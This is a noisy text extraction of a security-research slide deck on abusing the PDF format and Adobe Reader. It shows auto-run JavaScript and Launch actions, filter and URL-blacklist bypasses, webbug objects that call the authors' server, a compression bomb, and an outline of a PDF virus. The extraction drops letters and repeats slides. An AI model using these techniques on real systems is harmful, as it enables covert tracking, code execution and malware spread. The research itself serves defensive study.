Malicious Origami in PDF: FR Ed Eric Raynal Guillaume Delugr e
Malicious Origami in PDF: FR Ed Eric Raynal Guillaume Delugr e
words
Frdric Raynal e e
Guillaume Delugr e
1/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
2/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami
Denition (Wikipedia) From oru meaning folding, and kami meaning paper. Ancient Japanese art of paper folding. The goal is to create a representation of an object using geometric folds and crease patterns preferably without the use of gluing or cutting the paper, and using only one piece of paper. Origami only uses a small number of dierent folds, but they can be combined in a variety of ways to make intricate designs.
3/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
The philosophy of malicious origami in PDF Understand the PDF language to (ab)use it Understand the security model enforced by PDF readers Using PDF against PDF Con: Longer to do than nding a 0-day in most PDF readers
Quick to nd, quick to patch
4/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Roadmap
1
PDF 101 Structure of a PDF le Thinking PDF Deep inside PDF: objects The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
5/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
1991 PDF 1.0: rst release 1994 PDF 1.1: links, encryption, comments 1996 PDF 1.2: forms, audio/video, annotations 1999 PDF 1.3: JavaScript, attachments, signatures 2001 PDF 1.4: transparency, encryption enhancement 2003 PDF 1.5: layers 2005 PDF 1.6: 3D engine 2007 PDF 1.7: Flash integration, 3D enhancement
6/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Roadmap
1
PDF 101 Structure of a PDF le Thinking PDF Deep inside PDF: objects The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
7/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
8/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Graphical overview
File
Header Object Object
Trailer
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF
9/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
PDF header
File
Header Object Object %PDF-1.1
Keyword %PDF PDF version (from 1.0 to 1.7) Optional binary sequence 25 e2 e3 cf d3
Google it and own the Internet
Trailer
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 10/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
PDF objects
File
Header Object Object 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
42 0 obj << /Name /F1 /BaseFont /Helvetica /Type /Font >> endobj
Trailer
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 11/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Object Object Cross Ref. xref 0 6 0000000000 0000000010 0000000228 0000000296 0000000449 0000002437 65535 00000 00000 00000 00000 00000 f n n n n n
12/116
Trailer
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
f n n n n n
Free object
Offsets in le
Object generation
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Object Object Cross Ref. trailer << /Size 6 /Root 1 0 R >> startxref 2991 %%EOF
Malicious origami in PDF 14/116
Trailer
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
trailer << /Size 6 /Root 1 0 R /Author Paul >> startxref 2991 %%EOF
Provide all the needed information to read the PDF le Catalog is the root object describing the content of the le
15/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Roadmap
1
PDF 101 Structure of a PDF le Thinking PDF Deep inside PDF: objects The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
16/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Understanding PDF
Based on 4 parts Objects: basic element contained in the document File structure: how objects are stored in a le
Header, body, xref, trailer Encryption, signature, . . .
Content streams: sequence of instructions describing the appearance of a page or other graphical entity
17/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Physical view
1 0 obj << /Type /Catalog /Pages 2 0 R >> 2 0 obj << /Count 2 /Kids [3 0 R 6 0 R] /Type /Pages >> 3 0 obj << /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 795 842] /Parent 2 0 R /Contents 4 0 R /Type /Page >> 4 0 obj << /Length 53 >> stream BT 1 Tr /F1 30 Tf 350 750 Td (foobar) Tj ET endstream 5 0 obj << /Name /F1 /BaseFont /Helvetica /Type /Font >> 6 0 obj << /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 795 842] /Parent 2 0 R /Contents 4 0 R /Type /Page >>
18/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Logical view
1 0 obj << /Type /Catalog /Pages 2 0 R >>
3 0 obj << /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 795 842] /Parent 2 0 R /Contents 4 0 R /Type /Page >>
6 0 obj << /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 795 842] /Parent 2 0 R /Contents 4 0 R /Type /Page >>
4 0 obj << /Length 53 >> stream BT 1 Tr /F1 30 Tf 350 750 Td (foobar) Tj ET endstream
19/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Roadmap
1
PDF 101 Structure of a PDF le Thinking PDF Deep inside PDF: objects The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
20/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Object denition
Reference number Generation number
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj Reference to another object
Object delimiter
Always start by a reference number, then a generation Denition of the object surrounded by obj << ... >> endobj Keywords inside the object depends on its type Keywords can use reference to other objects List of objects often referred as body
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 21/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Basic types
Null object Integer, real: straightforward Boolean: true, false String: multiple encodings available
(This is a string in PDF)
ET
23/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Focus on stream
Type
40 0 obj << /Subtype/Image /ColorSpace/DeviceRGB /Width 103 /Height 104 /BitsPerComponent 8 /Filter/FlateDecode /DecodeParms << /Predictor 15 /Columns 103 /Colors 3 >> /Length 3259 >> stream ... endstream endobj
25/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Advanced objects
A very descriptive language General: page tree nodes, pages, names, dates, text streams, functions, le specications, . . . Graphics: path construction operators, clipping, external objects (XObject), images, patterns, . . . Text: spacing, text rendering, text positioning, fonts, . . . Rendering: color device, gamma correction, halftones, . . . Transparency: shape, opacity, color mask, alpha factor, . . . Interactive: viewer preference, annotation, actions, forms, digital signature, . . . Multimedia: play/screen parameters, sounds, movies, 3D artwork, . . .
26/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Roadmap
1
PDF 101 The PDF way of security Enforced security User congurable security Signature and certication Usage rights Thinking malicious PDF Darth Origami: dark side of PDF Last words
Malicious origami in PDF 27/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
28/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
28/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
29/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Roadmap
1
PDF 101 The PDF way of security Enforced security User congurable security Signature and certication Usage rights Thinking malicious PDF Darth Origami: dark side of PDF Last words
Malicious origami in PDF 30/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
31/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Actions
When PDF becomes dynamic: OpenAction & trigger events Event Document or page is open Page is viewed Mouse enters/exits a zone Mouse button is pressed/released ... Action Run a command or a JavaScript Jump to a destination Play a sound/movie Submit a form to a URL ...
Actions usually raised an alert box Most alerts can be disabled in the conguration Security ensured most of the time through a warning pop-up
32/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Adobe Reader 9 asks to start Adobe Reader 9 (!!!) If user clicks Open, document is silently printed, no other message Launch does not refer to extension lter
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 34/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
JavaScript
JavaScript for Adobe Modied open source SpiderMonkeya engine, dening two execution contexts
Non-privileged context (default): scripts are limited to handle forms and document properties Privileged context: scripts are allowed to call more powerful (and sensible) methods, such as HTTP requests
35/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
JavaScript in practice
Embedding a JavaScript
/OpenAction << /S /JavaScript /JS (app.alert("run me automatically")) >>
JavaScript exceptions will not raise any alert if enclosed in a try/catch statement
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 36/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Roadmap
1
PDF 101 The PDF way of security Enforced security User congurable security Signature and certication Usage rights Thinking malicious PDF Darth Origami: dark side of PDF Last words
Malicious origami in PDF 37/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
On Unix: ~/.adobe/Acrobat Mac OS X: ~/Library/Preferences/com.adobe.* Some important les Main le: <folder>/Preferences/reader prefs (on Unix) Start-up scripts: <folder>/JavaScripts/*.js Certicates: <folder>/Security/*.acrodata
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 38/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
39/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing attachment lter Adobe Reader 8: jar les are allowed by default Adobe Reader 9: bypass ltering by adding : or \ at the end of the lename (MS Windows)
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 40/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing attachment lter Adobe Reader 8: jar les are allowed by default Adobe Reader 9: bypass ltering by adding : or \ at the end of the lename (MS Windows)
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 40/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Adobe Reader proxy Form submission, or URL access may require Readers approbation Access checking is only based on the hostname User can allow access to any sites, forbid everything, or deal with it case by case with a pop-up Access list can be modied at user level through registry or user folder
Once a site is whitelisted, no pop-up will be raised during future connection attempts
41/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing the blacklisting of PDF proxy Filtering based on pattern matching: nd another representation! http://seclabs.org == http://88.191.33.37 == http://1488920869:80/
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 42/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing the blacklisting of PDF proxy Filtering based on pattern matching: nd another representation! http://seclabs.org == http://88.191.33.37 == http://1488920869:80/
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 42/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
A blacklist is dened in HKLM\SOFTWARE\Policies\Adobe\Acrobat Reader\9.0\FeatureLockDown\cDefaultLaunchURLPerms No option in the GUI or user conguration le to change that But a user can add its own option manually in HKCU
If http:// is added to the whitelist, no more warning is ever prompted when a HTTP connection is made!
43/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing the blacklisting of PDF proxy Whitelisted schemes have precedence over blacklisted hostnames! Short-circuit the security conguration of the GUI
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 44/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Bypassing the blacklisting of PDF proxy Whitelisted schemes have precedence over blacklisted hostnames! Short-circuit the security conguration of the GUI
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 44/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Roadmap
1
PDF 101 The PDF way of security Enforced security User congurable security Signature and certication Usage rights Thinking malicious PDF Darth Origami: dark side of PDF Last words
Malicious origami in PDF 45/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Signed PDF
PDF Digital signature howto A PDF document can be digitally signed The whole document has to be signed for the signature to be accepted Embedding a x509 certicate or PKCS7 envelop, with the document signature The signature is validated by the reader at the opening
46/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Trailer
47/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
48/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Certicate storage
Adobe Reader store le format Localization: <conf folder>/Security/addressbook.acrodata As it is user-writable, one could inject a malicious certicate! Structure very close to PDF : header, body with objects, xref, trailer Each certicate stored in a dictionary object
<< /ABEType 1 /Cert(...) /ID 1001 /Editable false /Viewable false /Trust 8190 >> # # # # # # 1 stands for a certificate DER-encoded certificate string Unique value used to reference this certificate Appears in the GUI panel Can be edited in the GUI panel Rights to give to certified documents
50/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Roadmap
1
PDF 101 The PDF way of security Enforced security User congurable security Signature and certication Usage rights Thinking malicious PDF Darth Origami: dark side of PDF Last words
Malicious origami in PDF 51/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
Usage rights
What are they? Usage rights are used to enable additional interactive features that are not available by default in a particular viewer application (such as Adobe Reader). The document must be signed Annots: Create, Delete, Modify, Copy, Import, Export
Online: upload or download markup annotations from a server
52/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Enforced security User congurable security Signature and certication Usage rights
How to get them the Adobe way? Usage rights are granted by Adobe Pro and so on (Adobes non free softwares) Documents with usage rights must be certed by Adobe Adobes certicate is provided in the certicate storage Exercise: where can be Adobes private key to sign the documents?
53/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 54/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
55/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 56/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Data protection Uses RC4 or AES symmetric algorithms Only strings and stream objects are encrypted Other objects are considered as part of le structure, not document contents Prompts for the user key in order to read the original document
57/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Obfuscating a PDF le Strings (thus keyword) can be encoded in many way Objects can appear in the le in any order Objects can be splitted in many objects referring to each other Streams can be compressed with many cascaded algorithms Strings can be written in dierent ways : ASCII, octal, hexadecimal, and in dierent charsets PDF objects can be embedded into a compressed stream object A PDF le can be splitted into many les referring to each other A PDF le can be embedded into another PDF le
58/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Trigger an action when a PDF is opened OpenAction: put in the PDF catalog Register an Additional Action AA on the rst page Register an Additional Action AA on page n, set the 1st displayed page to be this one Using Requirement Handlers RH, checks are based on a JavaScript when the PDF is opened ...
59/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Double view: PDF in JPG JPG header built with sections Each section starts with 0xFF 0xXX, where byte XX tells the kind of the section You can put comments in JPG les: section 0xFF 0xFE
SOI JFIF
FF D8 FF EO XX XX .... XX
Comment
60/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
SOI
FF D8
JFIF
FF EO XX XX .... XX
60/116
Double view: PDF in JPG JPG header built with sections Each section starts with 0xFF 0xXX, where byte XX tells the kind of the section You can put comments in JPG les: section 0xFF 0xFE
Comment
FF FE XX XX ... ...
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Double view: PDF in COM COM (DOS 16-bits executable) has no header Contains raw code executed from rst byte Entry point jumps around PDF code
pdf.asm
.model t i n y .code .startup jmp s t a r t p d f f i l e db " \% PDF -1 .1 " , 1 3 , 1 0 , . . . s t a r t : <i n s t r u c t i o n s > ... end
62/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 63/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Bombing PDF
zip bomb Streams can be compressed (zlib) What happens when many many many 0s are compressed? ;-)
4 0 obj << /Filter /FlateDecode /Length 486003 >> stream ... endstream endobj
65/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Moebius: going next page Action Named used to put label and jump to them across documents Some label/destination are predened
/AA << /O << /S /Named /N /NextPage >> >> % % % % Pages object Additional Action When the page is Open Perform an action of type Named Actions Name is NextPage
67/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
% % % % %
Pages object Additional Action When the page is Open Perform an action of type GoTo Destination is object 1 with its content magnified to fit the window
69/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Moebius: going next document Action GoToR sets the view to another document Can be opened in a new window
/AA << /O << /S /GoToR /F (moebius-gotor-2.pdf) /D [0 /Fit ] /NewWindow false >> >> /AA << /O << /S /GoToR /F (moebius-gotor-1.pdf) /D [0 /Fit ] /NewWindow false >> >>
71/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 72/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
73/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Incremental PDF
Fi
Header
Back into past: revisions Not so long ago, MS Oce used incremental saves
Easy to rebuild the previous version of a doc
Nowadays, PDF documents work the same (sigh) Do not update PDF les to conceal sensitive information
Trailer 0
Body 1 Cross Ref. 1
Trailer 1
74/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
76/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
76/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
76/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
PDF mantra All content in a PDF had to be contained inside the single PDF le At most, a PDF le can access only PDF/FDF les But starting from PDF 1.2, raw data of streams can be outside the PDF le. . . Initially for images, sounds, videos . . . but works for all streams (yes, also JavaScript programs :)
77/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
79/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
// JavaScript to read, and transform any kind of file var stream = this.getDataObjectContents("secret.doc"); var data = util.stringFromStream(stream, "utf-8");
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 81/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Webbug: make your browser go to the Internet poppler, preview: nothing happens Adobe Reader: a pop-up asking is the connection is allowed Foxit: no pop-up, connection is made . . .
1 0 obj << /Type /Catalog /OpenAction << % When document is open /S /URI % Actions type is to resolve an URI /URI (http://seclabs.org/fred/webbug-browser.html) >> /Pages 2 0 R >>
83/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
1 0 obj << /Pages 3 0 R /Names << /JavaScript 2 0 R >> /Type /Catalog >>
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Reader security model If this site is allowed, no more alert will ever be raised
# :~/.adobe/Acrobat/8.0/Preferences/reader_prefs /TrustManager [/c << /DefaultLaunchURLPerms [/c << /HostPerms [/t (version:1|seclabs.org:2)] >>]>>]
87/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Question: how the reader is able to submit a form? FDF: Forms Data Format Very similar to PDF, but simpler Allow forms initialisation, data exchange, . . .
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 88/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
90/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Comparing Webbug
Adobe Reader ways to handle network connections When related to URL (\URI, app.LaunchURL): outsourced webbugs
execve("/usr/bin/firefox", ["firefox", "-remote", "openURL(http://seclabs.org/fred/webbug-reader.php,new-tab)"], [/* 45 vars */]) = 0
92/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Comparing Webbug
Adobe Reader ways to handle network connections When related to URL (\URI, app.LaunchURL): outsourced webbugs When related to forms (\SubmitForm, this.submitForm): inside network capabilities
# Get IP address socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 29 connect(29, sa_family=AF_INET,sin_port=53,sin_addr=inet_addr("10.42.42.1")) = 0 recvfrom(29, ...) = 45 # Connect to the server socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 29 connect(29, sa_family=AF_INET, sin_port=80, sin_addr=inet_addr("..."), 16) send(29, "GET /fred/webbug-reader.php HTTP/1.1\r\n User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/ 1.0.4\r\n Host: seclabs.org\r\n Accept: */*\r\n\r\n"..., 179, 0) = 179 recv(29, "HTTP/1.1 200 OK\r\n...) = 1448
92/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Comparing Webbug
Adobe Reader ways to handle network connections When related to URL (\URI, app.LaunchURL): outsourced webbugs When related to forms (\SubmitForm, this.submitForm): inside network capabilities Browser vulnerabilities: Firefox/1.0.4 Old browser banner: are all xes backported? http://www.mozilla.org/security/known-vulnerabilities/
92/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 93/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Embedded les
Dropping attachments When launched, attachments are saved in a temp folder Remember: ltering is based on le extension . . . . . . and PDF/FDF extensions are whitelisted by default A malicious .pdf le can then be written to disk, whatever its real nature But
We cannot decide where it is exactly written Reader erases its temp folder upon application shutdown
94/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Multimedia session
Downloading videos Clips and music can be read from a PDF document Multimedia content may be downloaded from a remote server Transferred data is saved into local player cache Playing an embedded le An embedded video/sound le can be played in a document The attachment is dropped into the user temp folder when playing A hidden player can play a le with null volume
95/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Roadmap
1
PDF 101 The PDF way of security Thinking malicious PDF Evasion tricks Denial of Service Information leakage Dropping eggs Code execution Darth Origami: dark side of PDF Last words
Malicious origami in PDF 96/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Code execution
Launch action This action can launch an application on the host system Parameters can be passed to the command line Can run dierent commands depending on the OS User is warned through a popup PDF code Launch the system calculator
/OpenAction << /S /Launch /F << /DOS (C:\WINDOWS\system32\calc.exe) /Unix (/usr/bin/xcalc) /Mac (/Applications/Calculator.app) >> >>
98/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Evasion tricks Denial of Service Information leakage Dropping eggs Code execution
Code execution
File attachments Embedded les can be executed
Using an attachment annotation Using JavaScript exportDataObject method
Bypassing the lename extension lter Foxit/Adobe Reader 8: JAR extension has not been blacklisted Adobe Reader 9: a aw in the path lter permits to bypass blacklist checking More generally, a lename extension cannot represent the real nature of the le Conclusion: lename blacklisting is no security
99/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Roadmap
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Origami #1: PDF based virus Origami #2: multi-stages targeted operation Last words
100/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Roadmap
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Origami #1: PDF based virus Origami #2: multi-stages targeted operation Last words
101/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Initial infection: distribute the malicious PDFs, corrupts others Propagation: each time Reader is run, a JavaScript in run (privileged context), and can open malicious PDF in a hidden window
102/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
PDF les on the victim system are also infected and polymorphed
Propagation: each time Reader is run, a JavaScript in run (privileged context), and can open malicious PDF in a hidden window
102/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
